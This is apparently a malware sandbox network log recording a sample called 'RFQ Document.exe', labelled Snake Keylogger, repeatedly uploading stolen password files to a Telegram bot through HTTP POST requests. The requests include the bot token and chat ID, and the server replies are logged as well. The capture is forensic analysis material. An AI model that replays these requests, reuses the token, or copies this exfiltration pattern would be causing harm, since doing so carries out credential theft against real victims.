2021-09-28 05:59:05 UTC	249	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 63 35 65 61 31 39 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255dc5ea195Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:05 UTC	250	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:05 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:05 UTC	250	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 34 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 35 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12744,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808745,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
157	192.168.2.4	49968	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:05 UTC	251	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255dcc2c405 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:05 UTC	251	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 63 63 32 63 34 30 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255dcc2c405Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:06 UTC	251	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:06 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:06 UTC	252	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 34 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12745,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808746,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
158	192.168.2.4	49970	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:06 UTC	252	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255dcf010c9 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:06 UTC	253	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 63 66 30 31 30 63 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255dcf010c9Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:06 UTC	253	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:06 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:06 UTC	253	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 34 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12746,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808746,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
159	192.168.2.4	49972	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:06 UTC	254	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255dd0f0f14 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:06 UTC	254	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 64 30 66 30 66 31 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255dd0f0f14Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:06 UTC	255	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:06 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:06 UTC	255	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 34 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12747,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808746,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49790	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:23 UTC	25	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c3ba1acd Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:23 UTC	25	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 33 62 61 31 61 63 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c3ba1acdContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:23 UTC	26	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:23 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:23 UTC	26	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 39 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12595,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808703,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
160	192.168.2.4	49974	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:06 UTC	255	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255dd2bac15 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:06 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 64 32 62 61 63 31 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255dd2bac15Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:06 UTC	256	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:06 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:06 UTC	257	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 34 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 36 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12748,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808746,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
161	192.168.2.4	49975	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:07 UTC	257	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255ddbd1b4c Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:07 UTC	257	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 64 62 64 31 62 34 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255ddbd1b4cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:07 UTC	258	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:07 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:07 UTC	258	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 34 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 34 37 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12749,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808747,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.4	49977	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:07 UTC	259	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255dde3413e Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:07 UTC	259	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 64 65 33 34 31 33 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255dde3413eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
